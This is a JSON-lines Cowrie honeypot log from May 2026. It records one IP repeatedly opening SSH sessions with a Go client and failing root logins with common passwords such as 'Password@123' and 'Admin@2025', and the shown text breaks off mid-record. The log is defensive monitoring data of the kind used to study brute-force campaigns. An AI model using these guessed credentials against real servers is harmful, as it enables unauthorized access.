{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:55:39.216720Z","src_ip":"60.165.124.241","session":"716d1b8f9395","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root1!","message":"login attempt [root/root1!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:55:39.944577Z","src_ip":"60.165.124.241","session":"716d1b8f9395","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:55:41.192993Z","src_ip":"60.165.124.241","session":"716d1b8f9395","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":49042,"dst_ip":"10.17.0.5","dst_port":22,"session":"ff98c1539433","protocol":"ssh","message":"New connection: 60.165.124.241:49042 (10.17.0.5:22) [session: ff98c1539433]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:55:41.425454Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:55:41.432657Z","src_ip":"60.165.124.241","session":"ff98c1539433","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:55:41.676489Z","src_ip":"60.165.124.241","session":"ff98c1539433","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Change_123","message":"login attempt [root/Change_123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:55:42.433218Z","src_ip":"60.165.124.241","session":"ff98c1539433","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:55:43.679839Z","src_ip":"60.165.124.241","session":"ff98c1539433","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":51986,"dst_ip":"10.17.0.5","dst_port":22,"session":"6c35f5c0abcb","protocol":"ssh","message":"New connection: 60.165.124.241:51986 (10.17.0.5:22) [session: 6c35f5c0abcb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:55:43.942693Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:55:43.947183Z","src_ip":"60.165.124.241","session":"6c35f5c0abcb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:55:44.199770Z","src_ip":"60.165.124.241","session":"6c35f5c0abcb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Testing@123","message":"login attempt [root/Testing@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:55:44.954357Z","src_ip":"60.165.124.241","session":"6c35f5c0abcb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:55:46.205701Z","src_ip":"60.165.124.241","session":"6c35f5c0abcb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":55194,"dst_ip":"10.17.0.5","dst_port":22,"session":"5055eaa63b27","protocol":"ssh","message":"New connection: 60.165.124.241:55194 (10.17.0.5:22) [session: 5055eaa63b27]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:55:46.428030Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:55:46.436717Z","src_ip":"60.165.124.241","session":"5055eaa63b27","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:55:46.674113Z","src_ip":"60.165.124.241","session":"5055eaa63b27","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!q2w3e4r5t","message":"login attempt [root/!q2w3e4r5t] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:55:47.391315Z","src_ip":"60.165.124.241","session":"5055eaa63b27","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:55:48.630851Z","src_ip":"60.165.124.241","session":"5055eaa63b27","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":58186,"dst_ip":"10.17.0.5","dst_port":22,"session":"0c4bbb4a0748","protocol":"ssh","message":"New connection: 60.165.124.241:58186 (10.17.0.5:22) [session: 0c4bbb4a0748]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:55:48.866949Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:55:48.871601Z","src_ip":"60.165.124.241","session":"0c4bbb4a0748","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:55:49.109409Z","src_ip":"60.165.124.241","session":"0c4bbb4a0748","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Password@123","message":"login attempt [root/Password@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:55:49.831598Z","src_ip":"60.165.124.241","session":"0c4bbb4a0748","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.252.135.107","src_port":58863,"dst_ip":"10.17.0.5","dst_port":23,"session":"ef07a705c029","protocol":"telnet","message":"New connection: 94.252.135.107:58863 (10.17.0.5:23) [session: ef07a705c029]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:55:50.864885Z"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:55:51.074314Z","src_ip":"60.165.124.241","session":"0c4bbb4a0748","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":33048,"dst_ip":"10.17.0.5","dst_port":22,"session":"f4543ae574e1","protocol":"ssh","message":"New connection: 60.165.124.241:33048 (10.17.0.5:22) [session: f4543ae574e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:55:51.308945Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:55:51.313088Z","src_ip":"60.165.124.241","session":"f4543ae574e1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:55:51.553210Z","src_ip":"60.165.124.241","session":"f4543ae574e1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Password2024","message":"login attempt [root/Password2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:55:52.272974Z","src_ip":"60.165.124.241","session":"f4543ae574e1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:55:53.513377Z","src_ip":"60.165.124.241","session":"f4543ae574e1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":36166,"dst_ip":"10.17.0.5","dst_port":22,"session":"8d8c1da9f49b","protocol":"ssh","message":"New connection: 60.165.124.241:36166 (10.17.0.5:22) [session: 8d8c1da9f49b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:55:53.748365Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:55:53.753182Z","src_ip":"60.165.124.241","session":"8d8c1da9f49b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:55:53.992486Z","src_ip":"60.165.124.241","session":"8d8c1da9f49b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin777","message":"login attempt [root/admin777] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:55:54.715148Z","src_ip":"60.165.124.241","session":"8d8c1da9f49b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:55:55.956851Z","src_ip":"60.165.124.241","session":"8d8c1da9f49b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":38982,"dst_ip":"10.17.0.5","dst_port":22,"session":"bd0c0050ad88","protocol":"ssh","message":"New connection: 60.165.124.241:38982 (10.17.0.5:22) [session: bd0c0050ad88]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:55:56.189734Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:55:56.194763Z","src_ip":"60.165.124.241","session":"bd0c0050ad88","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:55:56.432792Z","src_ip":"60.165.124.241","session":"bd0c0050ad88","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin@2025","message":"login attempt [root/Admin@2025] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:55:57.150078Z","src_ip":"60.165.124.241","session":"bd0c0050ad88","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:55:58.390634Z","src_ip":"60.165.124.241","session":"bd0c0050ad88","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":42024,"dst_ip":"10.17.0.5","dst_port":22,"session":"fc8bbe666350","protocol":"ssh","message":"New connection: 60.165.124.241:42024 (10.17.0.5:22) [session: fc8bbe666350]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:55:58.658415Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:55:58.662972Z","src_ip":"60.165.124.241","session":"fc8bbe666350","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 